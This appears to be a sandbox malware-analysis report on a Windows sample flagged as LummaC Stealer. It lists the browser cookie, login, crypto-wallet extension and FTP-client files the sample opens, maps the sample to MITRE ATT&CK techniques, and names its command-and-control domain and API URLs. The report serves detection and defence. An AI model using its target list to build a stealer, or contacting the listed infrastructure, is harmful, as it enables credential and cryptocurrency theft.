Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 4348, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 4348, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	1 Query Registry	Remote Desktop Protocol	41 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	141 Security Software Discovery	SMB/Windows Admin Shares	2 Clipboard Data	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	11 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	11 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	33 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	50%	ReversingLabs	Win32.Trojan.CrypterX
file.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://push-hook.cyou/m	0%	Avira URL Cloud	safe
https://push-hook.cyou/	0%	Avira URL Cloud	safe
https://push-hook.cyou/api	0%	Avira URL Cloud	safe
https://push-hook.cyou:443/apiion.txtPK	0%	Avira URL Cloud	safe
https://push-hook.cyou:443/apiB	0%	Avira URL Cloud	safe
https://push-hook.cyou/ul	0%	Avira URL Cloud	safe
https://push-hook.cyou:443/api	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
push-hook.cyou	172.67.161.207	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://push-hook.cyou/api	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000002.00000003.1748738580.000000000530B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1748807484.0000000005309000.00000004.00000800.00020000.00000000.sdmp	false		high
https://push-hook.cyou/ul	file.exe, 00000002.00000003.1796762781.00000000052D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1795461252.00000000052D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1795020611.00000000052D0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000002.00000003.1748738580.000000000530B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1748807484.0000000005309000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000002.00000003.1797089604.00000000052C9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000002.00000003.1748738580.000000000530B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1748807484.0000000005309000.00000004.00000800.00020000.00000000.sdmp	false		high
https://push-hook.cyou:443/api	file.exe, 00000002.00000003.1933303365.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2026924995.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://push-hook.cyou/m	file.exe, 00000002.00000003.1824145781.0000000002C7F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000003.1824111584.0000000002C77000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000002.00000003.1797089604.00000000052C9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000002.00000003.1748738580.000000000530B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1748807484.0000000005309000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000002.00000003.1795461252.00000000052F4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000002.00000003.1819472379.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1818772124.00000000052C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000002.00000003.1748738580.000000000530B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1748807484.0000000005309000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000002.00000003.1795461252.00000000052F4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000002.00000003.1773096667.0000000005317000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1749238502.0000000005317000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1772986739.0000000005317000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1749111878.0000000005363000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000002.00000003.1773096667.0000000005317000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1749238502.0000000005317000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1772986739.0000000005317000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1749111878.0000000005363000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000002.00000003.1748738580.000000000530B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1748807484.0000000005309000.00000004.00000800.00020000.00000000.sdmp	false		high
https://push-hook.cyou:443/apiB	file.exe, 00000002.00000003.1933303365.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2026924995.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000002.00000003.1796826342.00000000053EB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://push-hook.cyou:443/apiion.txtPK	file.exe, 00000002.00000003.1933303365.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2026924995.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000002.00000003.1748738580.000000000530B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1748807484.0000000005309000.00000004.00000800.00020000.00000000.sdmp	false		high
https://push-hook.cyou/	file.exe, file.exe, 00000002.00000003.1845901808.0000000002C67000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000003.1845755273.0000000002C64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000003.1772973450.00000000052CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1933464874.0000000002C54000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000003.1748540351.0000000002C67000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000003.1933464874.0000000002C43000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000003.1772916719.00000000052C6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1933303365.0000000002C07000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2027006243.0000000002C54000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000003.1748488055.0000000002C66000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000003.1773036075.00000000052CB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000002.2027006243.0000000002C46000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000002.00000003.1819472379.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1818772124.00000000052C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000002.00000003.1797089604.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1819472379.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1818772124.00000000052C8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	file.exe, 00000002.00000003.1795461252.00000000052F4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000002.00000003.1795461252.00000000052F4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	file.exe, 00000002.00000003.1749238502.00000000052F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000002.00000003.1748738580.000000000530B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1748807484.0000000005309000.00000004.00000800.00020000.00000000.sdmp	false		high
